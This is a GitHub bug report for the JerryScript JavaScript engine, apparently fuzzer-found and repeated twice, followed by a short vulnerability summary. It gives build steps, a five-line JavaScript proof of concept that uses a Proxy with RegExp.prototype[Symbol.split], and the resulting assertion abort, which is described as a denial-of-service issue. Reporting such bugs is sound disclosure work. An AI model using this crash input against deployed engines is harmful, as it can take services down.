
###### JerryScript revision
2faafa4

###### Build platform
Ubuntu 18.04.5 LTS(Linux 4.15.0-119-generic x86_64)

###### Build steps
```
./tools/build.py --clean --debug --compile-flag=-fsanitize=address \
--compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer \
--compile-flag=-fno-common --compile-flag=-g --strip=off \
--system-allocator=on --logging=on --linker-flag=-fuse-ld=gold \
--error-messages=on --profile=es2015-subset  --builddir=$PWD/build
```

###### Test case
```
var get = [];
var constructor = Function();
constructor[Symbol.species] = Object;
var p = new Proxy({ constructor: constructor, flags: '', exec: function() { return null; } }, { set: function (x) { this.set = x === 42; } });
RegExp.prototype[Symbol.split].call(p, 7996);
```
###### Output
```
ICE: Assertion 'ecma_is_value_true (result)' failed at /root/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c(ecma_regexp_split_helper):2277.
Error: ERR_FAILED_INTERNAL_ASSERTION
Aborted

```
Credits: Found by chong from OWL337.
Assertion 'ecma_is_value_true (result)'  in ecma_regexp_split_helper
This is a GitHub Issue
repo:jerryscript
owner:jerryscript-project
Title : Assertion 'ecma_is_value_true (result)'  in ecma_regexp_split_helper
Issue date:

--- start body ---

###### JerryScript revision
2faafa4

###### Build platform
Ubuntu 18.04.5 LTS(Linux 4.15.0-119-generic x86_64)

###### Build steps
```
./tools/build.py --clean --debug --compile-flag=-fsanitize=address \
--compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer \
--compile-flag=-fno-common --compile-flag=-g --strip=off \
--system-allocator=on --logging=on --linker-flag=-fuse-ld=gold \
--error-messages=on --profile=es2015-subset  --builddir=$PWD/build
```

###### Test case
```
var get = [];
var constructor = Function();
constructor[Symbol.species] = Object;
var p = new Proxy({ constructor: constructor, flags: '', exec: function() { return null; } }, { set: function (x) { this.set = x === 42; } });
RegExp.prototype[Symbol.split].call(p, 7996);
```
###### Output
```
ICE: Assertion 'ecma_is_value_true (result)' failed at /root/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c(ecma_regexp_split_helper):2277.
Error: ERR_FAILED_INTERNAL_ASSERTION
Aborted

```
Credits: Found by chong from OWL337.
--- end body ---

An internal assertion failure in the ecma_regexp_split_helper function of JerryScript allows for potential Denial of Service (DoS) via crafted JavaScript code. The issue arises when the RegExp.prototype[Symbol.split] method is called with a Proxy object that manipulates the behavior of the RegExp execution, leading to an assertion failure in the internal logic of the engine.